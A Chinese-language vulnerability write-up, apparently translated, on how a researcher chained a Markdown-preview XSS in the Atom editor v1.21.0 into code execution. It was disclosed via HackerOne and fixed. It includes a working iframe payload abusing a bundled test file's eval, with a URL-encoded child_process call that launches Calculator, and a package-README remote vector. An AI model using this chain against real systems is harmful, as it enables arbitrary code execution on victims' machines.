导语:本文主要介绍了作者针对Atom远程代码执行漏洞的挖掘思路,如何从一个XSS漏洞,构造完整的漏洞利用链,实现RCE。

0x00 前言

最近我花了点时间看了下Atom(https://atom.io/)  ,它是由Github发布的文本编辑器。经过一段时间的研究,我可以将Atom中的多个漏洞组合利用最终实现远程代码执行。 这个漏洞在我通过HackerOne(https://hackerone.com/github)提交后1.21.1版本(https://github.com/atom/atom/releases/tag/v1.21.1)中已经修复。要是有同学想要对这个漏洞进行复现的话可以通过https://github.com/atom/atom/releases/tag/v1.21.0这个链接下载历史版本。

0x01 将Web安全问题带到了桌面应用?

Atom是使用Electron(https://electronjs.org/)写的。Electron是一个基于JavaScript、HTML和CSS用于开发桌面应用的跨平台框架。通过利用现成的框架,可以极大的提高开发效率。 然而这也会产生一些问题,就是会将Web端的安全问题带到桌面应用中。特别是:XSS漏洞。由于整个应用程序的整体逻辑都是由JavaScript编写的,所以单个XSS可能导致任意代码执行。 毕竟,攻击者可以像软件的开发人员一样,在应用程序中执行任意JavaScript代码(XSS本质上就是任意js代码执行)。 当然,如果这样想的话,那就太简单了。所以Electron提供了一些缓解XSS漏洞的方法。事实上,github的issue上已经有一些针对该问题的讨论。但是,与其他漏洞缓解措施一样,如果使用不当的话,可能仍然会被绕过。

0x02 通过CSP缓解缓解XSS漏洞

在我们挖掘漏洞之前,我们先看一下GitHub的开发人员是如何缓解Atom的XSS问题:使用Content-Security-Policy(内容安全策略)。 翻一下Atom的index.html代码,你会看到下面的策略:

<!DOCTYPE html><html>
   <head>
      <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">
      <script src="index.js"></script>
   </head>
   <body tabindex="-1"></body></html>

script-src'self''unsafe-eval'的含义是着同源的JavaScript以及使用eval like构造创建的代码可以被执行。但是,任何内嵌的JavaScript代码都不会被执行。 简单来说,来自“index.js”的JavaScript可以再下面的示例中执行,alert(1) 不能执行,因为它属于内联JavaScript代码:

<!DOCTYPE html><html>
   <head>
      <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;">
   </head>
   <!-- Following line will be executed since it is JS embedded from the same origin -->
   <script src="index.js"></script>
   <!-- Following line will not be executed since it is inline JavaScript -->
   <script>alert(1)</script></html>

0x03 Atom是如何解析Markdown文件的

在挖掘包含语法解析器或预览生成器软件的漏洞时,花费一些时间来研究这些组件往往会有意想不到的收获。通常情况下,解析库一般是采用了一些第三方组件,这些组件再开发时可能已经考虑到了这些安全问题。但是就安全性这个问题来讲,组件的原作者以及后续基于该组件的开发者来说,两类人可能会有不同的需求。 举个例子,开发者会默认这些库的输入内容都是可信的。所以我们先来看一看Atom是如何解析Markdown文件的。这个默认组件的相关代码可以在GitHub上找到:https://github.com/atom/markdown-preview。粗略的看了先,我发现,Markdown解析器似乎也解析了任意的HTML文档: 

所以第一个想法是插入一个简单的JavaScript代码片段来检查JavaScript是否被Markdown库过滤。虽然CSP会阻止代码在这里执行,但是通过这个方法可以检测到是否采用了一些基本的过滤手段。 如下图所示,事实证明,响应的脚本代码并不会出现在DOM中。 所以,针对GitHub上的研究发现,并不是所有的HTML代码都可以直接渲染执行的。我们来看一下Markdown库是如何对输入的内容进行过滤的:

sanitize = (html) ->
	  o = cheerio.load(html)
	  o('script').remove()
	  attributesToRemove = [	    'onabort'
	    'onblur'
	    'onchange'
	    'onclick'
	    'ondbclick'
	    'onerror'
	    'onfocus'
	    'onkeydown'
	    'onkeypress'
	    'onkeyup'
	    'onload'
	    'onmousedown'
	    'onmousemove'
	    'onmouseover'
	    'onmouseout'
	    'onmouseup'
	    'onreset'
	    'onresize'
	    'onscroll'
	    'onselect'
	    'onsubmit'
	    'onunload'
	  ]
	  o('*').removeAttr(attribute) for attribute in attributesToRemove
	  o.html()

可以说是这个过滤手段是非常的鸡肋了,但是再配合上CSP的力量,常规的payload应该都不会被执行。 还是回头看一下之前的截图,仍然有一些payload是可以被加载的。 

通过截图可以看到,Atom是在file://协议下执行的,那么如果我们创建一个恶意的HTML文件并在本地嵌入,会发生什么事呢?按理来说这将被Electron识别为同源,因此JavaScript代码应该会被执行。 所以我在home文件夹中创建了一个名为hacked.html的文件,文件内容如下:

<script>
    alert(1);</script>

现在只需在Markdown文档中嵌入iframe,就可以触发JavaScript代码。事实确实是这样。 

0x04 构造本地DOM XSS漏洞利用链

虽然我现在已经能够执行任意的JavaScript代码了,但是这里存在一个问题:要想利用这个漏洞需要跟用户进行大量的交互。

  1. 用户必须主动打开这个Markdown 文档

  2. 用户必须打开Markdown文档预览

  3. 恶意Markdown文档需要包含另一个本地恶意JavaScript文件

所以这种问题要是再真实的攻击场景中,那就有点鸡肋了。换个思路,如果包含存在DOM XSS漏洞的本地文件呢?这意味着可以成功的利用这一漏洞。所以我决定看看其他的HTML文件。 幸运的是,在OS X上,应用程序只是一堆文件,我们可以直接看到代码。从这个文件夹开始往下看:/Applications/Atom.app/Contents:

  1. 搜索文件夹下的HTML文件找到了这样一些文件:

➜  Contents find . -iname "*.html"./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.html
./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.html
./Resources/app/apm/node_modules/clone/test-apart-ctx.html
./Resources/app/apm/node_modules/clone/test.html
./Resources/app/apm/node_modules/colors/example.html
./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.html
./Resources/app/apm/node_modules/jsbn/example.html

可以使用一些审计js代码的工具:https://statuscode.ch/2015/05/static-javascript-analysis-with-burp/,或者也可以人工的去审计这些HTML文件。 由于代码量不算多,通过人工审计的方式,大概看了下/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html中的代码:

<html>
  <head>
    <meta charset="utf-8">
    <title>Clone Test-Suite (Browser)</title>
  </head>
  <body>
    <script>
      var data = document.location.search.substr(1).split('&');      try {
        ctx = parent[data[0]];        eval(decodeURIComponent(data[1]));        window.results = results;
      } catch(e) {        var extra = '';        if (e.name == 'SecurityError')
          extra = 'This test suite needs to be run on an http server.';
        alert('Apart Context iFrame Errorn' + e + 'nn' + extra);        throw e;
      }    </script>
  </body></html>

在document.location.search上有一个eval调用,可以通过URL控制传入的内容。而且,Atom的Content-Security-Policy允许eval语句执行,所以打开如下所示的代码应该也会弹窗:

file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)

实际上,下面的Markdown文档就足以执行任意的JavaScript代码了:

<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>

0x05 本地任意代码执行

正如文章前面所说,在Electron应用程序中执行恶意JavaScript代码通常也就意味着本地任意代码执行。在这种情况下,一个简单的思路就是访问window.top对象,并使用NodeJS require函数访问child_process模块。 通过以下JavaScript代码可以打开Mac OS X计算器:

<script type="text/javascript">
  window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});</script>

以前的漏洞利用方式是这样的:

<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>

只要打开构造好的Markdown文档,Calculator.app就会打开执行: 

0x06 如何实现远程任意代码执行?

虽然经过上面的研究我们已经取得了一些进展,但仍然需要受害者打开恶意的Markdown文档(需要用户交互的漏洞,价值都会大打折扣)。想了下,要知道tom渲染Markdown文档可不止这一处。 在Atom源代码上执行grep搜索之后,还有另外一个渲染Markdown文件的模块:https://github.com/atom/settings-view/。看了下它的过滤手段,也没啥卵用。

const ATTRIBUTES_TO_REMOVE = [  'onabort',  'onblur',  'onchange',  'onclick',  'ondbclick',  'onerror',  'onfocus',  'onkeydown',  'onkeypress',  'onkeyup',  'onload',  'onmousedown',  'onmousemove',  'onmouseover',  'onmouseout',  'onmouseup',  'onreset',  'onresize',  'onscroll',  'onselect',  'onsubmit',  'onunload']function sanitize (html) {  const temporaryContainer = document.createElement('div')
  temporaryContainer.innerHTML = html  for (const script of temporaryContainer.querySelectorAll('script')) {
    script.remove()
  }  for (const element of temporaryContainer.querySelectorAll('*')) {    for (const attribute of ATTRIBUTES_TO_REMOVE) {
      element.removeAttribute(attribute)
    }
  }  for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) {
    checkbox.setAttribute('disabled', true)
  }  return temporaryContainer.innerHTML
}

这里的Markdown解析器也存在安全问题,而且似乎比前者更严重。Atom支持“Packages”,可以由社区的开发者提供第三方插件的扩展。这些第三方插件中Markdown格式的README,会在Atom视图中呈现。 因此,恶意攻击者只需要注册一堆恶意软件包,或者提供一些与现有软件名称相似的软件包,再README中插入恶意代码。只要有人点击该名称即可(并不需要安装!),恶意代码就可以成功的被执行了。 

0x07 来看一下Github是怎么修复这个漏洞的

经过与GitHub开发组讨论之后,这个漏洞已经被修复了,修复方法如下:

  1. 从软件包中删除不必要的HTML文件

  2. 使用 DOMPurify (https://github.com/cure53/DOMPurify)过滤Markdown中的内容 虽然不是一个完美的解决方案,但就目前来讲也是一个不错的缓解措施。

源链接

Hacking more

...